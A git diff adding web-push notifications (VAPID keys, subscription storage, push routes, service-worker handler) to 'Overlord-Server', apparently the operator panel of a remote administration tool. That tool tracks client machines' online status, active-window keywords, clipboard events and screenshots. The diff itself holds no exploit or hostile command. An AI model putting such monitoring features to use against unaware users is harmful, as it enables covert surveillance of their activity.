diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 308cd4c..85c0c37 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -20,6 +20,7 @@ "jose": "^6.1.3", "sharp": "^0.34.5", "uuid": "^9.0.1", + "web-push": "^3.6.7", "winston": "^3.11.0" }, "devDependencies": { diff --git a/Overlord-Server/public/assets/notification-sw.js b/Overlord-Server/public/assets/notification-sw.js index 32648a1..36ad96d 100644 --- a/Overlord-Server/public/assets/notification-sw.js +++ b/Overlord-Server/public/assets/notification-sw.js @@ -18,9 +18,7 @@ self.addEventListener("notificationclick", (event) => { try { const clientUrl = new URL(client.url); if (clientUrl.origin === self.location.origin) { - if (clientUrl.pathname !== "/notifications") { - client.navigate(targetUrl); - } + client.navigate(targetUrl); return client.focus(); } } catch {} @@ -30,6 +28,29 @@ self.addEventListener("notificationclick", (event) => { ); }); +self.addEventListener("push", (event) => { + if (!event.data) return; + + let data; + try { + data = event.data.json(); + } catch { + data = { title: "Overlord", body: event.data.text() }; + } + + const title = String(data.title || "Overlord Notification"); + const options = { + body: String(data.body || ""), + icon: "/assets/overlord.png", + badge: "/assets/overlord.png", + tag: data.tag || `overlord-push-${Date.now()}`, + data: { url: data.url || "/notifications" }, + requireInteraction: false, + }; + + event.waitUntil(self.registration.showNotification(title, options)); +}); + self.addEventListener("message", (event) => { const data = event.data; if (!data || data.type !== "show_notification") return; @@ -40,7 +61,7 @@ self.addEventListener("message", (event) => { icon: data.icon || "/assets/overlord.png", badge: "/assets/overlord.png", tag: data.tag || `overlord-${Date.now()}`, - data: { url: "/notifications" }, + data: { url: data.url || "/notifications" }, requireInteraction: false, }; diff --git a/Overlord-Server/public/assets/notify-client.js b/Overlord-Server/public/assets/notify-client.js index 59a0a99..15f6c22 100644 --- a/Overlord-Server/public/assets/notify-client.js +++ b/Overlord-Server/public/assets/notify-client.js @@ -3,6 +3,7 @@ import { decodeMsgpack } from "./msgpack-helpers.js"; const STORAGE_KEY = "overlord_notifications_enabled"; const UNREAD_KEY = "overlord_notifications_unread"; const DESKTOP_NOTIF_KEY = "overlord_desktop_notifications_enabled"; +const PUSH_SUBSCRIBED_KEY = "overlord_push_subscribed"; const CLIENT_EVENT_KEYS = { client_online: "overlord_desktop_notify_client_online", client_offline: "overlord_desktop_notify_client_offline", @@ -27,6 +28,7 @@ if ( } let ws = null; let started = false; +let swRegistration = null; let readyHandlers = new Set(); let notificationHandlers = new Set(); let statusHandlers = new Set(); @@ -99,6 +101,11 @@ export function getDesktopNotificationsEnabled() { export function setDesktopNotificationsEnabled(value) { localStorage.setItem(DESKTOP_NOTIF_KEY, value ? "1" : "0"); + if (value) { + subscribeToPush(); + } else { + unsubscribeFromPush(); + } } export function getClientEventNotificationEnabled(eventType) { @@ -124,20 +131,105 @@ export async function requestDesktopNotificationPermission() { } } -function fireNotification(title, body, tag, clickUrl) { - if ("serviceWorker" in navigator && navigator.serviceWorker.controller) { - navigator.serviceWorker.ready - .then((reg) => - reg.showNotification(title, { - body, - icon: "/assets/overlord.png", - tag, - data: { url: clickUrl || "/notifications" }, - requireInteraction: false, - }), - ) - .catch(() => fireNotificationFallback(title, body, tag, clickUrl)); - return; +function urlBase64ToUint8Array(base64String) { + const padding = "=".repeat((4 - (base64String.length % 4)) % 4); + const base64 = (base64String + padding).replace(/-/g, "+").replace(/_/g, "/"); + const rawData = atob(base64); + const outputArray = new Uint8Array(rawData.length); + for (let i = 0; i < rawData.length; ++i) { + outputArray[i] = rawData.charCodeAt(i); + } + return outputArray; +} + +async function getSwRegistration() { + if (swRegistration) return swRegistration; + if (!("serviceWorker" in navigator) || !window.isSecureContext) return null; + try { + swRegistration = await navigator.serviceWorker.ready; + return swRegistration; + } catch { + return null; + } +} + +async function subscribeToPush() { + try { + const reg = await getSwRegistration(); + if (!reg || !reg.pushManager) return; + + const existing = await reg.pushManager.getSubscription(); + if (existing) { + if (localStorage.getItem(PUSH_SUBSCRIBED_KEY) === "1") return; + await sendSubscriptionToServer(existing); + return; + } + + const res = await fetch("/api/notifications/vapid-public-key"); + if (!res.ok) return; + const { publicKey } = await res.json(); + if (!publicKey) return; + + const subscription = await reg.pushManager.subscribe({ + userVisibleOnly: true, + applicationServerKey: urlBase64ToUint8Array(publicKey), + }); + + await sendSubscriptionToServer(subscription); + } catch (err) { + console.warn("[notifications] push subscribe failed", err); + } +} + +async function sendSubscriptionToServer(subscription) { + try { + const res = await fetch("/api/notifications/push-subscribe", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify(subscription.toJSON()), + }); + if (res.ok) { + localStorage.setItem(PUSH_SUBSCRIBED_KEY, "1"); + } + } catch (err) { + console.warn("[notifications] failed to send push subscription to server", err); + } +} + +async function unsubscribeFromPush() { + try { + const reg = await getSwRegistration(); + if (!reg || !reg.pushManager) return; + + const subscription = await reg.pushManager.getSubscription(); + if (!subscription) return; + + await fetch("/api/notifications/push-subscribe", { + method: "DELETE", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ endpoint: subscription.endpoint }), + }).catch(() => {}); + + await subscription.unsubscribe().catch(() => {}); + localStorage.removeItem(PUSH_SUBSCRIBED_KEY); + } catch (err) { + console.warn("[notifications] push unsubscribe failed", err); + } +} + +async function fireNotification(title, body, tag, clickUrl) { + const reg = await getSwRegistration(); + if (reg) { + try { + await reg.showNotification(title, { + body, + icon: "/assets/overlord.png", + tag, + data: { url: clickUrl || "/notifications" }, + requireInteraction: false, + }); + return; + } catch {} } fireNotificationFallback(title, body, tag, clickUrl); } @@ -299,6 +391,20 @@ function connect() { }; } +async function registerServiceWorker() { + if (!("serviceWorker" in navigator) || !window.isSecureContext) return null; + try { + const res = await fetch("/assets/notification-sw.js"); + if (!res.ok) return null; + const reg = await navigator.serviceWorker.register("/assets/notification-sw.js", { scope: "/" }); + swRegistration = reg; + await navigator.serviceWorker.ready; + return reg; + } catch { + return null; + } +} + export async function startNotificationClient() { if (started) return; started = true; @@ -309,23 +415,15 @@ export async function startNotificationClient() { console.warn("[notifications] failed to load msgpackr", err); } - if ("serviceWorker" in navigator && window.isSecureContext) { - fetch("/assets/notification-sw.js") - .then((res) => { - if (!res.ok) return; - navigator.serviceWorker - .register("/assets/notification-sw.js", { scope: "/" }) - .catch(() => { }); - }) - .catch(() => {/* SW script unreachable (e.g. self-signed cert) — skip quietly */}); - } + await registerServiceWorker(); if (getDesktopNotificationsEnabled()) { - requestDesktopNotificationPermission().then((perm) => { - if (perm !== "granted") { - setDesktopNotificationsEnabled(false); - } - }); + const perm = await requestDesktopNotificationPermission(); + if (perm !== "granted") { + setDesktopNotificationsEnabled(false); + } else { + subscribeToPush(); + } } connect(); diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index bdbfc4a..abf8e86 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -142,6 +142,23 @@ db.run( `CREATE INDEX IF NOT EXISTS idx_notification_screenshots_ts ON notification_screenshots(ts DESC);`, ); +db.run(` + CREATE TABLE IF NOT EXISTS push_subscriptions ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + user_id INTEGER NOT NULL, + endpoint TEXT NOT NULL UNIQUE, + p256dh TEXT NOT NULL, + auth TEXT NOT NULL, + created_at INTEGER NOT NULL + ); +`); +db.run( + `CREATE INDEX IF NOT EXISTS idx_push_subscriptions_user_id ON push_subscriptions(user_id);`, +); +db.run( + `CREATE UNIQUE INDEX IF NOT EXISTS idx_push_subscriptions_endpoint ON push_subscriptions(endpoint);`, +); + db.run(` CREATE TABLE IF NOT EXISTS auto_scripts ( id TEXT PRIMARY KEY, @@ -948,6 +965,59 @@ export function getEnrollmentStats(): { return stats; } +export interface PushSubscriptionRecord { + id: number; + userId: number; + endpoint: string; + p256dh: string; + auth: string; + createdAt: number; +} + +export function savePushSubscription(userId: number, endpoint: string, p256dh: string, auth: string): void { + db.run( + `INSERT OR REPLACE INTO push_subscriptions (user_id, endpoint, p256dh, auth, created_at) + VALUES (?, ?, ?, ?, ?)`, + userId, endpoint, p256dh, auth, Date.now(), + ); +} + +export function deletePushSubscription(endpoint: string): void { + db.run(`DELETE FROM push_subscriptions WHERE endpoint=?`, endpoint); +} + +export function deletePushSubscriptionsByUser(userId: number): void { + db.run(`DELETE FROM push_subscriptions WHERE user_id=?`, userId); +} + +export function getPushSubscriptionsByUser(userId: number): PushSubscriptionRecord[] { + return db + .query(`SELECT * FROM push_subscriptions WHERE user_id=?`) + .all(userId) + .map((r: any) => ({ + id: r.id, + userId: r.user_id, + endpoint: r.endpoint, + p256dh: r.p256dh, + auth: r.auth, + createdAt: Number(r.created_at) || 0, + })); +} + +export function getAllPushSubscriptions(): PushSubscriptionRecord[] { + return db + .query(`SELECT * FROM push_subscriptions`) + .all() + .map((r: any) => ({ + id: r.id, + userId: r.user_id, + endpoint: r.endpoint, + p256dh: r.p256dh, + auth: r.auth, + createdAt: Number(r.created_at) || 0, + })); +} + export function getPendingClients(): { id: string; host: string | null; diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 4cb7a8d..dba0a9f 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -115,6 +115,7 @@ import { handleVoiceViewerOpen, } from "./server/ws-voice"; import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin"; +import { loadOrGenerateVapidKeys } from "./server/web-push"; import * as clientManager from "./clientManager"; import * as sessionManager from "./sessions/sessionManager"; import type { SocketData } from "./sessions/types"; @@ -260,6 +261,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({ pluginState, getNotificationConfig, canUserAccessClient, + getUserRole: (userId: number) => getUserById(userId)?.role, storeNotificationScreenshot: storeNotificationScreenshotForPending, deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord, savePluginState, @@ -526,7 +528,7 @@ async function startServer() { markAllClientsOffline(); clearNotificationScreenshots(); - + loadOrGenerateVapidKeys(); deleteExpiredBuilds(); logger.info(`[db] Cleaned up expired builds`); diff --git a/Overlord-Server/src/server/notification-delivery.ts b/Overlord-Server/src/server/notification-delivery.ts index d122166..def208c 100644 --- a/Overlord-Server/src/server/notification-delivery.ts +++ b/Overlord-Server/src/server/notification-delivery.ts @@ -2,9 +2,13 @@ import { v4 as uuidv4 } from "uuid"; import { getNotificationScreenshot, saveNotificationScreenshot, + getAllPushSubscriptions, + deletePushSubscription, type NotificationScreenshotRecord, + type PushSubscriptionRecord, } from "../db"; import { logger } from "../logger"; +import { sendWebPush } from "./web-push"; export type NotificationRecord = { id: string; @@ -17,7 +21,7 @@ export type NotificationRecord = { processPath?: string; pid?: number; keyword?: string; - category: "active_window"; + category: "active_window" | "clipboard"; ts: number; screenshotId?: string; }; @@ -271,12 +275,113 @@ async function deliverToUser( ]); } +async function deliverWebPushToAll( + record: NotificationRecord, + getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[], +): Promise { + const subs = getAllPushSubscriptions(); + if (subs.length === 0) return; + + const targets = getUserDeliveryTargets(record.clientId); + const allowedUserIds = new Set(targets.map((t) => t.userId)); + + const title = record.keyword + ? `Overlord \u2014 ${record.keyword}` + : "Overlord \u2014 Notification"; + const lines = [record.title]; + if (record.user) lines.push(`User: ${record.user}`); + if (record.host) lines.push(`Host: ${record.host}`); + if (record.process) lines.push(`Process: ${record.process}`); + + const payload = JSON.stringify({ + type: "notification", + title, + body: lines.filter(Boolean).join("\n"), + tag: `overlord-${record.id || Date.now()}`, + url: "/notifications", + }); + + await Promise.allSettled( + subs + .filter((sub) => allowedUserIds.has(sub.userId)) + .map(async (sub) => { + const result = await sendWebPush( + { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, + payload, + ); + if (result.gone) { + deletePushSubscription(sub.endpoint); + logger.info(`[web-push] removed gone subscription for user ${sub.userId}`); + } else if (!result.success) { + logger.warn(`[web-push] delivery failed for user ${sub.userId}: ${result.error}`); + } + }), + ); +} + +export async function deliverWebPushClientEvent( + event: string, + info: { id: string; host?: string; user?: string; os?: string }, + canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean, + getUserRole: (userId: number) => string | undefined, +): Promise { + const subs = getAllPushSubscriptions(); + if (subs.length === 0) return; + + const labels: Record = { + client_online: "\u{1F7E2} Client Online", + client_offline: "\u{1F534} Client Offline", + client_purgatory: "\u{1F7E1} Client Awaiting Approval", + }; + + const title = labels[event] || "Overlord \u2014 Client Event"; + const lines: string[] = []; + if (info.host) lines.push(`Host: ${info.host}`); + if (info.user) lines.push(`User: ${info.user}`); + if (info.os) lines.push(`OS: ${info.os}`); + if (info.id) lines.push(`ID: ${info.id}`); + + const dest = event === "client_purgatory" ? "/purgatory" : "/"; + + const payload = JSON.stringify({ + type: "client_event", + event, + title, + body: lines.join("\n") || info.id || "", + tag: `overlord-client-${event}-${info.id || Date.now()}`, + url: dest, + }); + + await Promise.allSettled( + subs.map(async (sub) => { + const role = getUserRole(sub.userId); + if (!role) return; + if (event === "client_purgatory") { + if (role !== "admin" && role !== "operator") return; + } else if (role !== "admin") { + if (!canUserAccessClient(sub.userId, role, info.id)) return; + } + + const result = await sendWebPush( + { endpoint: sub.endpoint, keys: { p256dh: sub.p256dh, auth: sub.auth } }, + payload, + ); + if (result.gone) { + deletePushSubscription(sub.endpoint); + } + }), + ); +} + export async function deliverNotificationWithScreenshot( record: NotificationRecord, getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[], ): Promise { const screenshot = await waitForNotificationScreenshot(record.id); const targets = getUserDeliveryTargets(record.clientId); - await Promise.allSettled(targets.map((t) => deliverToUser(t, record, screenshot))); + await Promise.allSettled([ + ...targets.map((t) => deliverToUser(t, record, screenshot)), + deliverWebPushToAll(record, getUserDeliveryTargets), + ]); } diff --git a/Overlord-Server/src/server/routes/notifications-config-routes.ts b/Overlord-Server/src/server/routes/notifications-config-routes.ts index b3f4750..4700efd 100644 --- a/Overlord-Server/src/server/routes/notifications-config-routes.ts +++ b/Overlord-Server/src/server/routes/notifications-config-routes.ts @@ -2,6 +2,7 @@ import { authenticateRequest } from "../../auth"; import { AuditAction, logAudit } from "../../auditLog"; import * as clientManager from "../../clientManager"; import { getConfig, updateNotificationsConfig } from "../../config"; +import { savePushSubscription, deletePushSubscription, getPushSubscriptionsByUser } from "../../db"; import { encodeMessage } from "../../protocol"; import { getUserNotificationSettings, @@ -12,6 +13,7 @@ import { DEFAULT_TELEGRAM_TEMPLATE, renderNotificationTemplate, } from "../notification-delivery"; +import { getVapidPublicKey } from "../web-push"; type RequestIpProvider = { requestIP: (req: Request) => { address?: string } | null | undefined; @@ -406,5 +408,63 @@ export async function handleNotificationsConfigRoutes( } } + if (req.method === "GET" && url.pathname === "/api/notifications/vapid-public-key") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + return Response.json({ publicKey: getVapidPublicKey() }); + } + + if (url.pathname === "/api/notifications/push-subscribe") { + const user = await authenticateRequest(req); + if (!user) { + return new Response(JSON.stringify({ error: "Not authenticated" }), { + status: 401, + headers: { "Content-Type": "application/json" }, + }); + } + + if (req.method === "POST") { + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const endpoint = typeof body?.endpoint === "string" ? body.endpoint.trim() : ""; + const p256dh = typeof body?.keys?.p256dh === "string" ? body.keys.p256dh : ""; + const auth = typeof body?.keys?.auth === "string" ? body.keys.auth : ""; + + if (!endpoint || !p256dh || !auth) { + return Response.json({ error: "Missing subscription fields" }, { status: 400 }); + } + + savePushSubscription(user.userId, endpoint, p256dh, auth); + return Response.json({ ok: true }); + } + + if (req.method === "DELETE") { + let body: any = {}; + try { + body = await req.json(); + } catch { + return Response.json({ error: "Invalid JSON" }, { status: 400 }); + } + + const endpoint = typeof body?.endpoint === "string" ? body.endpoint.trim() : ""; + if (!endpoint) { + return Response.json({ error: "Missing endpoint" }, { status: 400 }); + } + + deletePushSubscription(endpoint); + return Response.json({ ok: true }); + } + } + return null; } diff --git a/Overlord-Server/src/server/web-push.ts b/Overlord-Server/src/server/web-push.ts new file mode 100644 index 0000000..af40ca0 --- /dev/null +++ b/Overlord-Server/src/server/web-push.ts @@ -0,0 +1,66 @@ +import webpush from "web-push"; +import { existsSync, readFileSync, writeFileSync } from "fs"; +import { resolve } from "path"; +import { ensureDataDir } from "../paths"; +import { logger } from "../logger"; + +let vapidKeys: { publicKey: string; privateKey: string } | null = null; + +function getVapidPath(): string { + return resolve(ensureDataDir(), "vapid-keys.json"); +} + +export function loadOrGenerateVapidKeys(): { publicKey: string; privateKey: string } { + if (vapidKeys) return vapidKeys; + + const vapidPath = getVapidPath(); + + if (existsSync(vapidPath)) { + try { + const raw = readFileSync(vapidPath, "utf-8"); + const parsed = JSON.parse(raw); + if (parsed.publicKey && parsed.privateKey) { + vapidKeys = { publicKey: parsed.publicKey, privateKey: parsed.privateKey }; + logger.info("[web-push] loaded VAPID keys from " + vapidPath); + return vapidKeys; + } + } catch (err) { + logger.warn("[web-push] failed to read vapid-keys.json, regenerating", err); + } + } + + const generated = webpush.generateVAPIDKeys(); + vapidKeys = { publicKey: generated.publicKey, privateKey: generated.privateKey }; + + try { + writeFileSync(vapidPath, JSON.stringify(vapidKeys, null, 2)); + logger.info("[web-push] generated and saved VAPID keys to " + vapidPath); + } catch (err) { + logger.warn("[web-push] failed to persist VAPID keys", err); + } + + return vapidKeys; +} + +export function getVapidPublicKey(): string { + return loadOrGenerateVapidKeys().publicKey; +} + +export async function sendWebPush( + subscription: { endpoint: string; keys: { p256dh: string; auth: string } }, + payload: string, +): Promise<{ success: boolean; gone?: boolean; error?: string }> { + const keys = loadOrGenerateVapidKeys(); + webpush.setVapidDetails("mailto:overlord@localhost", keys.publicKey, keys.privateKey); + + try { + await webpush.sendNotification(subscription, payload, { TTL: 60 * 60 }); + return { success: true }; + } catch (err: any) { + const statusCode = err?.statusCode; + if (statusCode === 404 || statusCode === 410) { + return { success: false, gone: true, error: `subscription gone (${statusCode})` }; + } + return { success: false, error: err?.message || String(err) }; + } +} diff --git a/Overlord-Server/src/server/ws-notifications-plugin.ts b/Overlord-Server/src/server/ws-notifications-plugin.ts index 3e45772..361069b 100644 --- a/Overlord-Server/src/server/ws-notifications-plugin.ts +++ b/Overlord-Server/src/server/ws-notifications-plugin.ts @@ -7,6 +7,7 @@ import { metrics } from "../metrics"; import { encodeMessage } from "../protocol"; import * as sessionManager from "../sessions/sessionManager"; import type { SocketData } from "../sessions/types"; +import { deliverWebPushClientEvent } from "./notification-delivery"; type NotificationRecord = { id: string; @@ -55,6 +56,7 @@ type CreateDeps = { pluginState: { enabled: Record; lastError: Record }; getNotificationConfig: () => NotificationConfigShape; canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean; + getUserRole: (userId: number) => string | undefined; storeNotificationScreenshot: ( pending: PendingNotificationScreenshot, bytes: Uint8Array, @@ -350,6 +352,8 @@ export function createNotificationPluginHandlers(deps: CreateDeps) { } safeSendViewer(session.viewer, item); } + + void deliverWebPushClientEvent(event, info, deps.canUserAccessClient, deps.getUserRole); }, markPluginLoaded, diff --git a/Overlord-Server/src/web-push.d.ts b/Overlord-Server/src/web-push.d.ts new file mode 100644 index 0000000..64dffbe --- /dev/null +++ b/Overlord-Server/src/web-push.d.ts @@ -0,0 +1,17 @@ +declare module "web-push" { + interface VapidKeys { + publicKey: string; + privateKey: string; + } + interface PushSubscription { + endpoint: string; + keys: { p256dh: string; auth: string }; + } + interface RequestOptions { + TTL?: number; + } + function generateVAPIDKeys(): VapidKeys; + function setVapidDetails(subject: string, publicKey: string, privateKey: string): void; + function sendNotification(subscription: PushSubscription, payload: string | Buffer | null, options?: RequestOptions): Promise; + export { generateVAPIDKeys, setVapidDetails, sendNotification }; +}